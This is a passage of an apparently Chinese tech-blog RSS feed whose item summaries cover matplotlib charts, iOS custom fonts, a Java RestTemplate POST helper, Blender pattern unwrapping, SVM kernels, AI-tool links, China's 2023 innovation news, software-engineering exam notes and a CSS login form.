      <description>python数据可视化入门 –常见的四种数据图形绘制&#xA;数据可视化在数据分析和数据科学中起着重要的作用。它可以帮助我们更直观地理解和解释数据，发现数据中的模式、趋势和异常。&#xA;在数据可视化中，常用的图表类型包括折线图、散点图、直方图和饼图，每种图表类型都适用于不同类型的数据和目的。&#xA;折线图：用于显示随时间或其他连续变量而变化的数据，可以展示趋势和变化情况。&#xA;散点图：用于显示两个变量之间的关系，每个数据点代表一个观测值，可以帮助发现变量之间的相关性或集群。&#xA;直方图：用于显示数据的分布情况，将数据分成若干个区间，并统计每个区间内的观测数量或频率。&#xA;饼图：用于显示分类数据的占比情况，将数据按照类别划分，并展示每个类别的相对比例。&#xA;除了以上常用的图表类型，还有其他更复杂的图表类型和可视化技术，如箱线图、热力图、地图等，可以根据具体的数据和分析目的选择合适的图表类型。&#xA;在Python中，使用Matplotlib、Seaborn、Plotly等库可以轻松地进行数据可视化。这些库提供了丰富的函数和方法，可以进行数据处理、图表绘制、样式设置等操作，帮助我们快速生成高质量的图表。&#xA;通过数据可视化，我们可以更好地理解数据，发现数据中的规律和趋势，从而支持决策制定、问题解决和进一步的数据分析工作。&#xA;这里我就先介绍最基础的四个数据图的创建方法，按折线图、散点图、直方图和饼图的先后顺序，我直接把讲解以注释的形式打在代码旁边就不多写旁白了&#xA;折线图&#xA;import matplotlib.pyplot as plt ’‘’每次绘图基本上都会用到matplotlib这个模块，import 表示引用，as 的意思就是因为每次都写这个字母太长了，直接用一个plt代替‘’‘ squares=[1,4,9,16,25]#我们的y轴 x=[1,2,3,4,5]#我们的x轴 plt.style.use(&#39;seaborn&#39;)#这里其实可有可无，这个用来选择 plt.plot(x,squares,linewidth=5)#这个就是创建图像，括号里面的是先x轴，y轴还有我创建的线的大小 plt.title(&#39;square nunber&#39;,fontsize=24)#这里英文叫title中文的意思，用来设置标题的 plt.xlabel(&#39;value&#39;,fontsize=14)#设置x轴名称和字体大小 plt.ylabel(&#39;square of value&#39;,fontsize=14)#设置y轴的名称和字体大小 plt.tick_params(axis=&#39;both&#39;,labelsize=12)#设置刻度样式，指定的实参将影响x y轴的刻度（axis=both），labelsize是设置字号 plt.show()#让图像显示出来 这段代码同样使用了Matplotlib库来创建一个折线图。&#xA;代码中首先定义了两个列表x和squares，分别表示横坐标和纵坐标的数据。&#xA;接着，使用plt.style.use(‘seaborn’)选择了一个风格为’seaborn’的样式。&#xA;然后，使用plt.plot()函数绘制折线图，传入x和squares作为数据点的横坐标和纵坐标。linewidth参数设置折线的宽度。&#xA;接下来，使用plt.title()、plt.xlabel()和plt.ylabel()函数设置图表的标题、x轴和y轴的名称，并指定字体大小。&#xA;使用plt.tick_params()函数设置刻度样式，其中axis=&#39;both’表示同时设置x轴和y轴的刻度样式，labelsize=12指定刻度标签的字号为12。&#xA;最后，使用plt.show()显示图表。&#xA;整体而言，这段代码通过Matplotlib库创建了一个折线图，展示了x和squares两个列表的数据关系。图表具有标题、轴标签和刻度样式等，使得数据更加易于理解和解读。&#xA;散点图&#xA;import matplotlib.pyplot as plt squares=[1,4,9,16,25] x=[1,2,3,4,5] plt.scatter(x,squares,linewidth=5) plt.title(&#39;square nunber&#39;,fontsize=24) plt.xlabel(&#39;value&#39;,fontsze=14)#设置x轴名称和字体大小 plt.ylabel(&#39;square of value&#39;,fontsize=14)#设置y轴的名称和字体大小 plt.tick_params(axis=&#39;both&#39;,labelsize=12)#设置刻度样式，指定的实参将影响x y轴的刻度（axis=both），labelsize是设置字号 plt.show() 这段代码使用了Matplotlib库来创建一个散点图。&#xA;首先，定义了两个列表x和squares，分别表示横坐标和纵坐标的数据。&#xA;接着，使用plt.scatter()函数绘制散点图，传入x和squares作为数据点的横坐标和纵坐标。linewidth参数设置散点的边界宽度。&#xA;然后，使用plt.title()函数设置图表的标题为&#34;square number&#34;，并指定字体大小为24。&#xA;接下来，使用plt.xlabel()和plt.ylabel()函数设置x轴和y轴的名称，同时指定字体大小为14。&#xA;使用plt.tick_params()函数设置刻度样式，其中axis=&#39;both’表示同时设置x轴和y轴的刻度样式，labelsize=12指定刻度标签的字号为12。&#xA;最后，使用plt.show()显示图表。&#xA;整体而言，这段代码通过python库创建了一个散点图，展示了x和squares两个列表的数据关系。图表具有标题、轴标签和刻度样式等，使得数据更加易于理解和解读。&#xA;柱状图&#xA;import numpy as np#这个也是数据分析常用的库之一，里面有很多有用的函数，比如下面就用到 import matplotlib.</description>
    </item>
    <item>
      <title>iOS/Mac项目接入字体（壳工程/组件库）</title>
      <link>https://bchobby.github.io/posts/ef72aa674633608259adee65bb7ef314/</link>
      <pubDate>Wed, 27 Dec 2023 09:28:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef72aa674633608259adee65bb7ef314/</guid>
      <description>iOS/Mac项目接入字体 一、准备二、接入1，壳工程接入和使用2，组件库接入和使用 为了减少专利字体对项目的影响，项目工程中需要接入公司自己的字体库，对于iOS/Mac项目来说接入非系统的外部字体，或者第三方字体，放在壳工程下，操作步骤以及使用来说相对简单，并且常用，如果放到组件库中多需要注意Bundle的影响，以及多了字体库的安装步骤（不建议在组件中） 一、准备 1，项目工程2，外部字体（思源字体为例，需要UDC（京东）字体的请小窗）&#xA;网盘链接: https://pan.baidu.com/s/1cOgxNGmeTlQdg7HWrrcYag 提取码: kw8v 二、接入 1，壳工程接入和使用 1，字体下载完后，解压到本地，常用字体文件格式有.otf，.ttf，.ttc等。&#xA;2，添加到Xcode工程，可以直接把字体文件拖拽到壳工程并&#34;Copy Bundle Resources&#34;，也可以在 File-&amp;gt;Add Files to “xxx”，将字体文件添加到壳工程中&#xA;3，Info.plist文件，新增Key- Value，“Fonts provided by application” 添加字体数组，eg.&#xA;直接通过索引名称使用，或者通过遍历UIFont.familyNames，找到相应的名字使用。&#xA;public extension UIFont { /// 扩展字体，非系统字体, 字体大小，字体名称，如果找不到相关字体，允许返回nil class func ex_extFont(ofSize fontSize: CGFloat, fontName: String) -&amp;gt; UIFont? { return self.init(name: fontName, size: fontSize) } /// 思源黑体字体支持 class func SourceHLight(ofsize fontSize: CGFloat) -&amp;gt; UIFont { return ex_extFont(ofSize: fontSize, fontName: &#34;SourceHanSansCN-Light&#34;) ?? ex_light(ofSize: fontSize) } class func SourceHBold(ofsize fontSize: CGFloat) -&amp;gt; UIFont { return ex_extFont(ofSize: fontSize, fontName: &#34;</description>
    </item>
    <item>
      <title>安全生产信息化平台是如何实现“五要素”的动态管理的</title>
      <link>https://bchobby.github.io/posts/46b6186f8212e4c4a32dfb96917d45f3/</link>
      <pubDate>Wed, 27 Dec 2023 09:25:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46b6186f8212e4c4a32dfb96917d45f3/</guid>
      <description>安全生产信息化平台以集成信息技术和管理理念为基础，实现了对“五要素”（人、机、料、法、环）的动态管理。以下是该平台如何实现这一目标的简要说明：&#xA;人员管理：通过建立员工档案和记录员工的安全培训、证书、违章记录等信息，平台可以实时监测员工的安全行为并对违章行为进行预警和记录。同时，平台提供在线安全培训和教育资源，帮助提高员工的安全意识和操作技能。&#xA;设备管理：平台记录设备的运行状况、维护记录、检修计划等信息，并通过实时监测和分析设备运行数据，及时发现设备故障和隐患，确保设备良好的工作状态。此外，平台还可以进行远程监控和调试，提高设备维护效率和准确性。&#xA;物料管理：平台严格管理原料、产品、备品备件等物料的库存，记录其入库、出库、存储情况，并实时监测和分析物料库存数据，以确保物料的安全存储和运输，防止因物料管理不善导致的事故。&#xA;法规与制度管理：平台集成国家和地方的安全生产法规、企业内部的安全管理制度和操作规程等信息，以确保这些法规和制度得到有效执行和监督。同时，为员工提供在线培训和考试功能，保证员工对相关法规和制度有深入的了解。&#xA;环境监测与管理：平台实时监测生产环境的温度、湿度、压力等参数，确保生产环境符合工艺要求，并对环境监测数据进行历史记录和分析，及时发现并处理潜在的环境问题。&#xA;通过上述五个方面的动态管理，安全生产智能化平台能够为企业提供全面的安全管理解决方案，提高企业的安全管理水平，降低安全生产事故的风险。</description>
    </item>
    <item>
      <title>深入理解通用的HTTP POST请求发送方法</title>
      <link>https://bchobby.github.io/posts/119cef7ccde5f9f3a238b8342e1e5d99/</link>
      <pubDate>Wed, 27 Dec 2023 09:24:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/119cef7ccde5f9f3a238b8342e1e5d99/</guid>
      <description>深入理解通用的HTTP POST请求发送方法 代码解析： 在现代的软件开发中，与服务端进行HTTP通信是一项基础而重要的任务。本篇博客将深入研究并详细解释一个通用的HTTP POST请求发送方法，该方法使用了 RestTemplate 库来简化HTTP通信。我们将逐行分析代码，理解每一步的操作，并通过一个简单的示例演示如何使用这个方法。&#xA;public &amp;lt;T&amp;gt; void post(String urlPart, T requestBody) { String url = this.baseUrl + urlPart; HttpHeaders httpHeaders = new HttpHeaders(); httpHeaders.setContentType(MediaType.APPLICATION_JSON); HttpEntity&amp;lt;T&amp;gt; requestEntity = new HttpEntity&amp;lt;&amp;gt;(requestBody, httpHeaders); try { restTemplate.postForObject(url, requestEntity, Void.class); } catch (HttpServerErrorException ex) { handleHttpServerErrorException(ex, url); } catch (HttpClientErrorException ex) { handleHttpClientErrorException(ex, url); } } 步骤 1：构建完整的URL String url = this.baseUrl + urlPart; 这一步将基础URL this.baseUrl 与传入的 urlPart 拼接，形成完整的目标URL。这是为了确保我们向正确的目标发送HTTP请求。&#xA;步骤 2：设置HTTP请求头 HttpHeaders httpHeaders = new HttpHeaders(); httpHeaders.</description>
    </item>
    <item>
      <title>3D模型自动展开2D版型</title>
      <link>https://bchobby.github.io/posts/b3637f3119f7cc12cd3c27c42acc631c/</link>
      <pubDate>Wed, 27 Dec 2023 09:22:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b3637f3119f7cc12cd3c27c42acc631c/</guid>
      <description>本文介绍如何将 3D 模型转换为2D版型以进行模拟和缝纫。&#xA;首先下载插件的最新版本。将存档保存在电脑上的某个位置。 在 Blender 中，转到编辑 &amp;gt; ⚙️ 首选项 &amp;gt; 附加组件 &amp;gt; 安装...，并选择 .zip 文件。安装后确保启用该附加组件。&#xA;NSDT工具推荐： Three.js AI纹理开发包 - YOLO合成数据生成器 - GLTF/GLB在线编辑 - 3D模型格式在线转换 - 可编程3D场景编辑器 - REVIT导出3D模型插件 - 3D模型语义搜索引擎 1、准备网格 输入网格应满足一些要求。 它不一定是完美的，但应该是干净的。 它应该是多方面的，确保法线正确，并且不应该太密集。&#xA;2、添加接缝 现在是添加接缝（seam）的时候了。 你可能已经猜到，该插件创建的“缝纫图案”实际上只是 UV 布局，但是是 3D 形式。 因此，为了获得良好的缝纫图案，我们需要良好的 UV 布局。&#xA;继续在网格周围你认为合适的地方添加接缝。 有些接缝会很好地包裹现有的几何体，就像此处所示的 Suzanne 示例中的情况一样：&#xA;情况并非总是如此，有时你需要使用 Knife K 或 Connect vertex path J 等工具进行额外的切割。 这通常会给你留下不好的几何形状，因为这种切割会产生微小的边缘和三角形。&#xA;可以使用此附加组件中包含的“边缘”&amp;gt;“清理刀切”操作符。 干净地解决这个问题。 选择想要清理的边缘链（通常是刚刚切割的部分），然后运行操作。 增加“最小边长”，直到所有小三角形都消失。 如果边链弯曲，可以放松它。 你还可以松弛相邻顶点。&#xA;像平常一样展开模型。 重要的是接缝始终与UV 相匹配！ 这是因为接缝用于切割，而 UV 用于展开！ 可以通过想象拉伸来了解你的展开效果如何。</description>
    </item>
    <item>
      <title>PYTHON基础：SVM不同核函数的区别与选择</title>
      <link>https://bchobby.github.io/posts/16359c1040171095ca34f7801f594c37/</link>
      <pubDate>Wed, 27 Dec 2023 09:04:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16359c1040171095ca34f7801f594c37/</guid>
      <description>SVM不同核函数区别与选择 支持向量机（Support Vector Machine，SVM）是一种常用的监督学习算法，它可以将数据从低维空间映射到高维空间，以便更好地进行分类或回归分析。SVM的关键思想是找到一个能够最大化分类边界（或称为超平面）的决策边界，这个边界可以最好地区分不同类别的数据点。&#xA;在SVM中，我们使用内核函数（kernel function）来实现数据从低维到高维的映射。常用的内核函数包括线性内核（linear kernel）、多项式内核（polynomial kernel）和径向基函数内核（radial basis function kernel，RBF）。这些内核函数可以帮助SVM处理非线性可分的数据。&#xA;为了说明不同内核函数的效果，让我们以红酒数据为例进行说明。我们使用相同的红酒数据，在使用四种不同的内核函数下绘制数据的图形，以观察它们的区别。&#xA;首先，我们需要加载红酒数据，并使用SVM算法和不同的内核函数进行建模和预测。然后，我们可以将预测结果可视化，以便比较不同内核函数的分类效果。通过这种方式，我们可以直观地理解不同内核函数在SVM中的作用，以及它们对数据的影响。&#xA;在具体编程实现时，我们可以使用Python的相关库（如scikit-learn）来实现SVM算法，并结合matplotlib等库来进行数据可视化。通过这样的实例，我们可以更好地理解SVM的内核函数以及它们在实际数据上的应用效果。&#xA;#导入红酒数据库 from sklearn.datasets import load_wine #定义函数来绘制画图 def make_meshgrid(x,y,h=.02): x_min,x_max=x.min()-1,x.max()+1 y_min,y_max=y.min()-1,y.max()+1 xx,yy=np.meshgrid(np.arange(x_min,x_max,h),np.arange(y_min,y_max,h)) return xx,yy #定义一个绘制等高线的函数 def plot_contours(ax,clf,xx,yy,**params): z=clf.predict(np.c_[xx.ravel(),yy.ravel()]) z=z.reshape(xx.shape) out=ax.contourf(xx,yy,z,**params) #使用酒的数据 wine=load_wine() #选取数据中的前两个数据 X=wine.data[:,:2] y=wine.target C=1.0#SVM的正规化参数 models=(svm.SVC(kernel=&#39;linear&#39;,C=C),#线性可调 svm.LinearSVC(C=C),#线性不可调 svm.SVC(kernel=&#39;rbf&#39;,gamma=0.7,C=C), svm.SVC(kernel=&#39;poly&#39;,degree=3,C=C)) models=(clf.fit(X,y) for clf in models) #设定图片的题目 titles=(&#39;SVC with linear kernel&#39;,&#39;linearSVC (linear kernel)&#39;,&#39;SVC with RBF kernel&#39;,&#39;SVC with polymomial(degree 3)kernel&#39;) #设定一个子图形的个数和排列方式进行画图 fig,sub=plt.subplots(2,2) plt.subplots_adjust(wspace=0.4,hspace=0.4) #使用前面的函数进行画图 X0,X1=X[:,0],X[:,1] xx,yy=make_meshgrid(X0,X1) for clf,title,ax in zip(models,titles,sub.</description>
    </item>
    <item>
      <title>神奇网站1</title>
      <link>https://bchobby.github.io/posts/acb67b2b6121f8170585a10ff99203d5/</link>
      <pubDate>Wed, 27 Dec 2023 08:28:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/acb67b2b6121f8170585a10ff99203d5/</guid>
      <description>​ ​​​​​​&#xA;有良心的up会留下地址：&#xA;1.depix：https://github.com/spipm/Depix&#xA;2.amphion：https://huggingface.co/spaces/amphion/singing_voice_conversion&#xA;3.outfit anybody：https://humanaigc.github.io/outfit-anyone/&#xA;4.NERF：https://developer.nvidia.com/blog/getting-started-with-nvidia-instant-nerfs/&#xA;5.PIA：https://pi-animator.github.io/&#xA;6.video poet：https://blog.research.google/2023/12/videopoet-large-language-model-for-zero.html&#xA;7.AI读心术：https://ai.meta.com/blog/brain-ai-image-decoding-meg-magnetoencephalography/&#xA;8.luciddreamer:https://luciddreamer-cvlab.github.io/&#xA;9.deepmotion：https://www.deepmotion.com/animate-3d&#xA;10.midjourney：https://www.midjourney.com/home?callbackUrl=%2Fexplore</description>
    </item>
    <item>
      <title>2023年，我国有哪些创新成就？</title>
      <link>https://bchobby.github.io/posts/e4869a4f8ca018f33bc9a828c3ea431a/</link>
      <pubDate>Wed, 27 Dec 2023 08:05:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e4869a4f8ca018f33bc9a828c3ea431a/</guid>
      <description>文章目录 创新成果令人振奋创新能力稳步提升创新生态持续优化 2023年，对中国的创新事业而言，又是非凡的一年！&#xA;这一年，“奋斗者”号完成国际首次环大洋洲载人深潜科考任务，大飞机C919完成首次商业载客飞行，全球首台16兆瓦海上风电机组并网发电，自主三代核电技术“华龙一号”全球首堆示范工程通过竣工验收，国产大型邮轮制造摘取了造船业的“第三颗明珠”，全球首颗忆阻器存算一体芯片诞生……今年以来，一系列新发明、新技术、新产品、新装备成为产业升级、结构优化的重要驱动力量，科技创新持续赋能高质量发展。&#xA;丰富的创新成果背后是强劲的创新能力，此二者离不开良好的创新生态。这些熠熠生辉的创新成就表明，中国的科技实力正从量的积累迈向质的飞跃、从点的突破迈向系统能力提升。伴随着加快实现高水平科技自立自强的步伐，强国梦想必将更好地照进现实。&#xA;创新成果令人振奋 这一年，中国的创新成果令人振奋!&#xA;中国空间站，神舟十七号与神舟十六号两个乘组在中国空间站胜利“会师”。这是在中国首艘载人飞船神舟五号实现中华民族千年飞天梦20周年之际，第一批、第二批和第三批中国航天员首次在中国空间站同框……&#xA;江西万安，自主育种研发的油菜新品种“中油早1号”，油菜籽亩产达到175.7公斤——中国农科院油料所团队6年持续耕耘，创造了新的高产纪录。&#xA;安徽合肥，“人造太阳”全超导托卡马克核聚变实验装置（EAST），成功实现稳态高约束模式等离子体运行403秒——中国科学院合肥物质科学研究院等离子体物理研究所EAST大科学团队聚力攻关，迎来重大突破。&#xA;从头顶的星辰到脚下的大地，从广袤的宇宙到幽微的粒子，2023年，中国不断取得重大原创性科技成果。&#xA;顺利起飞、平稳落地、跨过水门……5月28日，中国自主研发的大型客机C919成功完成首次商业载客飞行。在民用航空领域，大型客机被誉为“现代制造业的明珠”。其制造能力直接反映一个国家的工业水平。C919的一飞冲天让中国人的“大飞机梦”成为现实。&#xA;为助力“双碳”目标实现，6月1日，中国首个海上二氧化碳封存示范工程项目在南海东部海域正式投用，开始规模化向海底地层注入伴随海上石油开采产生的二氧化碳。该项目填补了中国海上二氧化碳封存技术的空白。&#xA;“中国芯”也在技术上取得了突破。9月，一篇在国际学术期刊在线发表的文章介绍了清华大学集成电路学院吴华强教授、高滨副教授团队的最新研究成果——基于存算一体计算范式研制出的全球首颗全系统集成、支持高效片上学习（机器学习能在硬件端直接完成）的忆阻器存算一体芯片。该芯片展现出卓越的能效优势，具有满足人工智能时代高算力需求的潜力。&#xA;9月27日，被称为“千眼天珠”的国家重大科技基础设施“空间环境地基综合监测网”（子午工程二期）标志性设备之一——圆环阵太阳射电成像望远镜（以下简称圆环阵）顺利通过工艺测试，正式建成。圆环阵不但能监测太阳的各种爆发活动，还能监测太阳风暴进入行星际的过程。这对于理解太阳爆发机制和日地传播规律、预测太阳活动对地球的影响有重要作用。&#xA;随着绿色动力关键技术不断取得新突破，长江黄金水道中的船舶也用上了“新能源”。10月11日，随着“启航”声响彻江面，中国首艘氢燃料电池动力示范船“三峡氢舟1”号在长江三峡起始点湖北宜昌首航，实现了氢燃料电池技术在中国内河船舶应用的“零的突破”，开启了长江航运的氢能时代。&#xA;2023年，中国新能源车产业发展迅猛。11月24日，比亚迪公司宣布第600万辆新能源汽车下线。第一个“100万辆”用时13年，第六个“100万辆”仅用时3个多月。今年上半年，中国的汽车出口已经超过日本，跃居世界第一，其中新能源汽车表现尤为亮眼。&#xA;2023年，中国长征系列运载火箭也迎来第500次发射。12月10日，中国在西昌卫星发射中心使用长征二号丁运载火箭，成功将遥感三十九号卫星发射升空。自1970年长征一号运载火箭发射东方红一号卫星至今，中国航天用53年的历程完成了“从0到500”的突破。其中，长征火箭第1个百次发射用了37年，第5个百次仅用了2年，不断刷新中国航天新纪录。&#xA;2023年，中国还摘取了造船业的“第三颗明珠”。总吨位13.55万吨，长323.6米，宽37.2米，最大高度72.2米；全船搭载107个系统、5.5万个设备，包含2500万个零部件，完工敷设4750公里电缆……11月4日，中国首艘国产大型邮轮“爱达·魔都号”正式命名交付。&#xA;中国超高速下一代互联网主干通路也在2023年开通。11月13日，清华大学宣布全球首条1.2T（传输速率为每秒1200G比特）超高速下一代互联网主干通路正式开通。该通路的整体技术水平不仅全球领先，且实现了系统软、硬件设备的全部国产和自主可控。它的建成，意味着中国互联网主干通路技术达到T比特级的门槛。&#xA;创新能力稳步提升 2023年，中国创新能力继续稳步提升!&#xA;今年以来，中国瞄准关键核心技术进行攻关，着力提升科技前沿领域原始创新能力，不断取得新突破，为持续增强产业链供应链韧性夯实了基础。随着高水平科技自立自强扎实推进，部分领域关键核心技术实现突破和产业化，科技创新对经济增长的带动作用提升。&#xA;国家创新指数是反映国家综合创新能力的重要指标。11月21日，由中国科学技术发展战略研究院发布的《国家创新指数报告2022—2023》显示，全球创新格局保持亚美欧三足鼎立态势，科技创新中心东移趋势更加显著，中国创新能力综合排名上升至第十位，向创新型国家前列进一步迈进。&#xA;《国家创新指数报告》选取与中国具有可比性的40个国家（其研发投入总和占全球95%以上，GDP之和占世界85%以上）作为评价对象，从创新资源、知识创造、企业创新、创新绩效和创新环境5个维度构建了评价指标体系，使用权威的国际组织和国家官方统计调查数据，客观研判中国在国际科技创新格局中的地位，全面反映中国科技创新投入、产出和支撑经济社会发展能力。结果显示，2023年，中国国家创新指数综合排名世界第十位，较上期提升3位，是唯一进入前15位的发展中国家。国家创新能力取得了显著进步，从2000年的第三十八位快速提升至2011年的第二十位，随后稳步上升至第十位。&#xA;从国家创新指数5个分指数来看，中国在各个维度均有不俗表现。尤其是在“知识创造”上表现突出，得分83.7分，排名第三位。&#xA;创新生态持续优化 2023年是中国创新生态持续优化的一年!&#xA;多项政策相继出台，营造出良好创新生态：青年科技人才发展有了支撑“硬举措”，科研“她力量”迎来更公平的成长环境，企业税惠“大礼包”提质升档助力科技创新……全社会支持创新、投入创新、参与创新、推动创新的热情高涨。&#xA;随着创新驱动发展战略深入实施，科技创新持续赋能实体经济，新产业新动能不断发展壮大，对经济增长的带动作用提升。&#xA;一方面，一批产业链条长、技术含量高、带动能力强的行业加快发展。1—10月份，汽车制造业、电气机械和器材制造业工业增加值同比增长11.3%、13.6%。边缘计算、工业大数据、通用人工智能等关键技术研发和产业化方兴未艾，推动服务业和制造业加速融合发展，工业互联网网络平台核心产业规模超过1.2万亿元，建成数字化车间和智能工厂近8000个。&#xA;另一方面，新模式、新业态持续活跃，引领带动力凸显。今年以来，电信广播电视及卫星传输服务、互联网软件及信息技术服务等文化相关行业的商务活动指数一直处于高景气区间。&#xA;今年以来，各地着力突破科技成果转化的市场化断点、利益共享痛点与产业化堵点。1—10月，高技术服务业中，科技成果转化服务业、专业技术服务业投资分别增长37.3%、29.1%。提升科技成果从“书架”到“货架”的转化速度，以效率变革、动力变革促进质量变革，我们就能不断突破高质量发展的卡点瓶颈，更好解决发展不平衡不充分问题。&#xA;企业是科技创新的主体。挖掘创新的潜力与活力，重点在企业。2023年，《中共中央国务院关于促进民营经济发展壮大的意见》发布，明确支持提升科技创新能力；国家发展改革委等部门出台促进民营经济发展的若干举措，支持民营企业参与重大科技攻关；国务院国资委推动中央企业加快发展战略性新兴产业……一系列政策举措同向发力、落地生根，企业创新活力得到进一步激发。随着企业科技创新主体地位不断强化，“创新之花”将更好结出“发展之果”，科技创新将持续赋能高质量发展。</description>
    </item>
    <item>
      <title>湘潭大学-软件工程-大题浅析</title>
      <link>https://bchobby.github.io/posts/a6a5dfa9163365f716e7de3b0f7eb560/</link>
      <pubDate>Wed, 27 Dec 2023 07:32:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a6a5dfa9163365f716e7de3b0f7eb560/</guid>
      <description>前言 因为打印的资料只有少数几份有答案，所以这个部分比较简短&#xA;大题包括分析，设计， UML图，四个大题，占40分&#xA;应用设计题 1.建立软件公司的对象模型 矩形方框表示对象，只需要把题干所有信息用图表示出来即可，比较简单&#xA;泛化用空心箭头的实线表示，是继承关系&#xA;双向关联用一条实线，单向关联用带箭头的实线&#xA;空心菱形表示聚合关系&#xA;实心菱形表示组合关系&#xA;2.成人自学考试系统考务管理系统 要求画出数据流程图&#xA;矩形表示外部实体&#xA;椭圆表示数据加工&#xA;两条平行线表示数据存储&#xA;带箭头的实现表示数据流&#xA;3.图书分类目录 数据流图和软件结构图&#xA;按照前面的方法分析即可，注意不要遗漏信息&#xA;4计算机储蓄管理系统 画出数据流程图&#xA;同上，突然发现这种图其实非常简单&#xA;结语 笔者发现数据流图其实就只有上述这些内容，也有可能是因为资料不够全面，祝大家软工都能顺利通过</description>
    </item>
    <item>
      <title>14 简约登录页</title>
      <link>https://bchobby.github.io/posts/a555035de17304e9ea24ffa16b78f77f/</link>
      <pubDate>Wed, 27 Dec 2023 07:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a555035de17304e9ea24ffa16b78f77f/</guid>
      <description>效果演示 实现了一个简单的登录表单的样式，包括背景颜色、边框、字体颜色、字体大小、字体粗细、输入框样式、提交按钮样式等。当用户在输入框中输入内容时，输入框下方的提示文字会动态地变化，以提示用户输入正确的信息。当用户点击提交按钮时，会触发一个事件，例如提交表单数据到服务器。&#xA;Code &amp;lt;div class=&#34;form&#34;&amp;gt; &amp;lt;div class=&#34;title&#34;&amp;gt;Welcome&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;subtitle&#34;&amp;gt;Let&#39;s create your account!&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;input-container ic1&#34;&amp;gt; &amp;lt;input placeholder=&#34;&#34; type=&#34;text&#34; class=&#34;input&#34; id=&#34;firstname&#34;&amp;gt; &amp;lt;div class=&#34;cut&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;label class=&#34;iLabel&#34; for=&#34;firstname&#34;&amp;gt;First name&amp;lt;/label&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;input-container ic2&#34;&amp;gt; &amp;lt;input placeholder=&#34;&#34; type=&#34;text&#34; class=&#34;input&#34; id=&#34;lastname&#34;&amp;gt; &amp;lt;div class=&#34;cut&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;label class=&#34;iLabel&#34; for=&#34;lastname&#34;&amp;gt;Last name&amp;lt;/label&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;input-container ic2&#34;&amp;gt; &amp;lt;input placeholder=&#34;&#34; type=&#34;text&#34; class=&#34;input&#34; id=&#34;email&#34;&amp;gt; &amp;lt;div class=&#34;cut cut-short&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;label class=&#34;iLabel&#34; for=&#34;email&#34;&amp;gt;Email&amp;lt;/label&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;button class=&#34;submit&#34; type=&#34;text&#34;&amp;gt;submit&amp;lt;/button&amp;gt; &amp;lt;/div&amp;gt; body { height: 100vh; display: flex; justify-content: center; align-items: center; background-color: #e8e8e8; } .</description>
    </item>
    <item>
      <title>软件工程PPT 笔记摘录（2）</title>
      <link>https://bchobby.github.io/posts/92465c6273f90973c985ee82bb1b9d47/</link>
      <pubDate>Wed, 27 Dec 2023 06:22:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/92465c6273f90973c985ee82bb1b9d47/</guid>
      <description>分析软件需求 UML 提供了用例图来分析和描述用例视角的软件需求模型&#xA;UML 提供了交互图和状态图来描述行为视角的软件需求模型&#xA;UML 提供了类图来描述和分析业务领域的概念模型&#xA;顺序图：强调消息传递的时间序&#xA;通信图：突出对象间的合作&#xA;类图，描述系统的类构成，刻画系统的静态组成结构&#xA;用单数名词来描述类名，少用缩写&#xA;对象图是一种静态瞬时快照，归于静态视图范畴&#xA;一般而言，控制类并不负责处理具体的任务细节，而是负责分解任务，并通过消息传递，将任务分派给其他对象类来完成，协调这些对象之间的信息交互&#xA;如果系列规模较大，分析类的数量多，关系复杂，难以用一张类图来完整和清晰地表示，那么可以分多个子系统来绘制分析类图&#xA;评审软件需求：内容的完整性，正确性，准确性，一致性，多余性，可追踪性，文档规范性，表述可读性，图表一致性（我想知道简答题到底是怎么考察，考这些知识确实是写不出来）&#xA;软件设计基础 功利一点，现在是期末考试复习，考试会挖什么空，接下来的内容尽量选这方面的&#xA;类的地位：类既是最基本的设计单元，也是最基本的模块单元（有点像初中政治，就怕是无用功）&#xA;软件设计的基本原则之一：模块化、高内聚度和低耦（ǒu）合度原则（感觉可能可以用上）&#xA;（简答题会不会就是每一个ppt的小结部分的内容）&#xA;软件设计是要给出软件需求的实现解决方案&#xA;设计既要满足需求，也要关注质量；设计用于指导实现和编码&#xA;软件设计有其过程，要循序渐进地开展设计&#xA;从体系结构设计、用户界面设计、详细设计&#xA;软件设计要遵循一系列的基本原则&#xA;模块化、信息隐藏、逐步求精、多视点等&#xA;面向对象软件设计的特点&#xA;基于面向对象的概念和抽象，系统性的设计支持，具有多种优点&#xA;对软件设计结果进行文档化和评审&#xA;撰写软件设计文档，发现和纠正软件设计中存在的缺陷&#xA;软件体系结构设计 包间关系：构成关系，依赖关系&#xA;之前一直弄不清楚的图之间的关系的汇总&#xA;包在模型管理过程中是配置管理的基本单元，同时也为访问控制提供基本手段&#xA;（像是要考察的句子）&#xA;软件系统的输入由数据源（data source）提供&#xA;管道与过滤器模式的特点&#xA;自然地解决具有数据流特征的软件需求&#xA;可独立地更新、升级过滤器来实现软件系统的扩展和进化&#xA;子系统是服务提供方，边界类是服务请求方&#xA;//怎么感觉没有什么内容，根本记不下来 软件体系结构的输出：软件模型和软件文档&#xA;软件体系结构设计的特殊性&#xA;具有宏观、全局、层次、战略、多视点、关键性等特点&#xA;逻辑视点、物理视点等，可用包图、部署图来表示&#xA;软件体系结构设计的重要性&#xA;针对软件系统全局性、基础性技术问题给出技术解决方案&#xA;软件体系结构的风格&#xA;管道、层次、MVC、黑板等等，针对不同软件需求及特点&#xA;软件体系结构设计的过程、策略和成果&#xA;考虑软件关键需求、利用已有软件资产、关注软件质量&#xA;软件体系结构的设计模型和文档&#xA;用户界面设计 